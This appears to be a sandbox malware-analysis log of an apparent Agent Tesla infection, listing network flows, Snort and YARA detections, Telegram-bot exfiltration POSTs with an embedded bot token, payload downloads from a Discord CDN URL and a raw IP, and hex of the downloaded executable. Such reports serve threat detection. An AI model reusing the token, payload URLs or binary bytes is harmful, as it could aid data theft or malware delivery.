Source: global traffic	TCP traffic: 162.159.133.233:443 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 162.159.133.233:443 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 162.159.133.233:443
Source: global traffic	TCP traffic: 162.159.133.233:443 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 162.159.133.233:443 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 162.159.133.233:443 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 162.159.133.233:443
Source: global traffic	TCP traffic: 162.159.133.233:443 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 162.159.133.233:443 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 162.159.133.233:443 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 162.159.133.233:443
Source: global traffic	TCP traffic: 162.159.133.233:443 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 162.159.133.233:443 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 162.159.133.233:443 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 162.159.133.233:443 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 162.159.133.233:443
Source: global traffic	TCP traffic: 162.159.133.233:443 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 162.159.133.233:443 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 162.159.133.233:443
Source: global traffic	TCP traffic: 162.159.133.233:443 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 162.159.133.233:443 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 162.159.133.233:443
Source: global traffic	TCP traffic: 162.159.133.233:443 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 162.159.133.233:443 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 162.159.133.233:443
Source: global traffic	TCP traffic: 162.159.133.233:443 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 162.159.133.233:443 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 162.159.133.233:443
Source: global traffic	TCP traffic: 162.159.133.233:443 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 162.159.133.233:443 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 162.159.133.233:443
Source: global traffic	TCP traffic: 162.159.133.233:443 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 162.159.133.233:443 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 162.159.133.233:443
Source: global traffic	TCP traffic: 162.159.133.233:443 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 162.159.133.233:443 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 162.159.133.233:443
Source: global traffic	TCP traffic: 162.159.133.233:443 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 162.159.133.233:443 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 162.159.133.233:443
Source: global traffic	TCP traffic: 162.159.133.233:443 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 162.159.133.233:443 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 162.159.133.233:443
Source: global traffic	TCP traffic: 162.159.133.233:443 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 162.159.133.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 162.159.133.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 162.159.133.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 162.159.133.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49178

Source: global traffic	DNS query: name: cdn.discordapp.com
Source: global traffic	DNS query: name: api.telegram.org
Source: global traffic	DNS query: name: api.telegram.org
Source: global traffic	DNS query: name: cdn.discordapp.com
Source: global traffic	DNS query: name: cdn.discordapp.com
Source: global traffic	DNS query: name: api.telegram.org
Source: global traffic	DNS query: name: api.telegram.org
Source: global traffic	DNS query: name: api.telegram.org
Source: global traffic	DNS query: name: api.telegram.org

Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 162.159.134.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 162.159.134.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 162.159.134.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 162.159.134.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 162.159.134.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 162.159.134.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 162.159.134.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 162.159.134.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 162.159.134.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 162.159.134.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 162.159.134.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 162.159.134.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 162.159.134.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 162.159.134.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 162.159.134.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 162.159.134.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 162.159.134.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 162.159.134.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 162.159.134.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 162.159.134.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 162.159.134.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 162.159.134.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 162.159.134.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 162.159.134.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 162.159.134.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 162.159.134.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 162.159.134.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 162.159.134.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 162.159.134.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 162.159.134.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 162.159.134.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 162.159.134.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 162.159.134.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 162.159.133.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 162.159.133.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 162.159.133.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 162.159.133.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 162.159.133.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 162.159.133.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 162.159.133.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 162.159.133.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 162.159.133.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 162.159.133.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 162.159.133.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 162.159.133.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 162.159.133.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 162.159.133.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 162.159.133.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 162.159.133.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 162.159.133.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 162.159.133.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 162.159.133.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 162.159.133.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 162.159.133.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 162.159.133.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 162.159.133.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 162.159.133.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 162.159.133.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 162.159.133.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 162.159.133.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 162.159.133.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 162.159.133.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 162.159.135.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 162.159.135.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 162.159.135.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 162.159.135.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 162.159.135.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 162.159.135.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 162.159.135.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 162.159.135.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 162.159.135.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 162.159.135.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 162.159.135.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 162.159.135.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 162.159.135.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 162.159.135.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 162.159.135.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 162.159.135.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 162.159.135.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 162.159.135.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 162.159.135.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 162.159.135.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 162.159.135.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 162.159.135.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 162.159.135.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 162.159.135.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 162.159.135.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 162.159.135.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 162.159.135.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 162.159.135.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 162.159.135.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 162.159.135.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 162.159.135.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49181 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49181 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49181 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49181 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49181 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49181 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49181 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49181 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49181 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49182 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49182 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49182 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49182 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49182 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49182 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49182 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49182 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49182 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49182 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49183 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49183 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49183 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49183 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49183 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49183 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49183 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49183 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 162.159.134.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 162.159.133.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 162.159.135.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 109.206.241.81:80

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2851779 ETPRO TROJAN Agent Tesla Telegram Exfil 192.168.2.22:49175 -> 149.154.167.220:443
Source: Traffic	Snort IDS: 2851779 ETPRO TROJAN Agent Tesla Telegram Exfil 192.168.2.22:49182 -> 149.154.167.220:443

Uses the Telegram API (likely for C&C communication)

Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org

Yara detected Generic Downloader

Source: Yara match	File source: 10.0.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.Client.exe.3169510.3.raw.unpack, type: UNPACKEDPE

Source: Joe Sandbox View

JA3 fingerprint: 36f7277af969a6947a61ae0b815907a1

Source: global traffic	HTTP traffic detected: GET /attachments/1005703293437235255/1005705055426588785/RealProxyFlagsBadSignature.dll HTTP/1.1Host: cdn.discordapp.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot5520247480:AAEoBq-eVV-KfON2FKSf_2riekCozVDdnus/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8da7964e1c1748cHost: api.telegram.orgContent-Length: 1028Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot5520247480:AAEoBq-eVV-KfON2FKSf_2riekCozVDdnus/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8da7966a100275cHost: api.telegram.orgContent-Length: 5245Expect: 100-continue
Source: global traffic	HTTP traffic detected: GET /attachments/1005703293437235255/1005705055426588785/RealProxyFlagsBadSignature.dll HTTP/1.1Host: cdn.discordapp.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /attachments/1005703293437235255/1005705055426588785/RealProxyFlagsBadSignature.dll HTTP/1.1Host: cdn.discordapp.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot5520247480:AAEoBq-eVV-KfON2FKSf_2riekCozVDdnus/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8da7965034df172Host: api.telegram.orgContent-Length: 1028Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot5520247480:AAEoBq-eVV-KfON2FKSf_2riekCozVDdnus/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8da79653dcfca72Host: api.telegram.orgContent-Length: 1028Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot5520247480:AAEoBq-eVV-KfON2FKSf_2riekCozVDdnus/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8da796756c9caf4Host: api.telegram.orgContent-Length: 5245Expect: 100-continue
Source: global traffic	HTTP traffic detected: GET /htdocs/eZYWw.exe HTTP/1.1Host: 109.206.241.81Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /htdocs/eZYWw.exe HTTP/1.1Host: 109.206.241.81Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /htdocs/eZYWw.exe HTTP/1.1Host: 109.206.241.81Connection: Keep-Alive

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 08 Aug 2022 15:18:10 GMTServer: Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/7.4.29Last-Modified: Sun, 07 Aug 2022 10:26:43 GMTETag: "34400-5e5a422bc1ac2"Accept-Ranges: bytesContent-Length: 214016Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 93 54 de 62 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 08 00 00 3c 03 00 00 06 00 00 00 00 00 00 ce 5b 03 00 00 20 00 00 00 00 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 a0 03 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 78 5b 03 00 53 00 00 00 00 60 03 00 f8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 03 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d4 3b 03 00 00 20 00 00 00 3c 03 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 f8 02 00 00 00 60 03 00 00 04 00 00 00 3e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 80 03 00 00 02 00 00 00 42 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 5b 03 00 00 00 00 00 48 00 00 00 02 00 05 00 bc 84 02 00 bc d6 00 00 03 00 00 00 11 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1e 02 28 01 00 00 0a 2a 1e 02 28 04 00 00 0a 2a a6 73 06 00 00 0a 80 01 00 00 04 73 07 00 00 0a 80 02 00 00 04 73 08 00 00 0a 80 03 00 00 04 73 09 00 00 0a 80 04 00 00 04 2a 00 00 13 30 02 00 2c 00 00 00 01 00 00 11 16 0b 2b 1b 00 07 17 fe 01 2c 02 18 0b 00 07 16 fe 01 2c 02 17 0b 00 07 18 fe 01 2c 02 2b 02 2b e3 7e 01 00 00 04 6f 0a 00 00 0a 2a 13 30 02 00 2c 00 00 00 02 00 00 11 16 0b 2b 1b 00 07 17 fe 01 2c 02 18 0b 00 07 16 fe 01 2c 02 17 0b 00 07 18 fe 01 2c 02 2b 02 2b e3 7e 02 00 00 04 6f 0b 00 00 0a 2a 13 30 02 00 2c 00 00 00 03 00 00 11 16 0b 2b 1b 00 07 17 fe 01 2c 02 18 0b 00 07 16 fe 01 2c 02 17 0b 00 07 18 fe 01 2c 02 2b 02 2b e3 7e 03 00 00 04 6f 0c 00 00 0a 2a 13 30 02 00 2c 00 00 00 04 00 00 11 16 0b 2b 1b 00 07 17 fe 01 2c 02 18 0b 00 07 16 fe 01 2c 02 17 0b 00 07 18 fe 01 2c 02 2b 02 2b e3 7e 04 00 00 04 6f 0d 00 00 0a 2a 13 30 02 00 2e 00 00 00 05 00 00 1
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 08 Aug 2022 15:18:38 GMTServer: Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/7.4.29Last-Modified: Sun, 07 Aug 2022 10:26:43 GMTETag: "34400-5e5a422bc1ac2"Accept-Ranges: bytesContent-Length: 214016Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 93 54 de 62 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 08 00 00 3c 03 00 00 06 00 00 00 00 00 00 ce 5b 03 00 00 20 00 00 00 00 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 a0 03 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 78 5b 03 00 53 00 00 00 00 60 03 00 f8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 03 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d4 3b 03 00 00 20 00 00 00 3c 03 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 f8 02 00 00 00 60 03 00 00 04 00 00 00 3e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 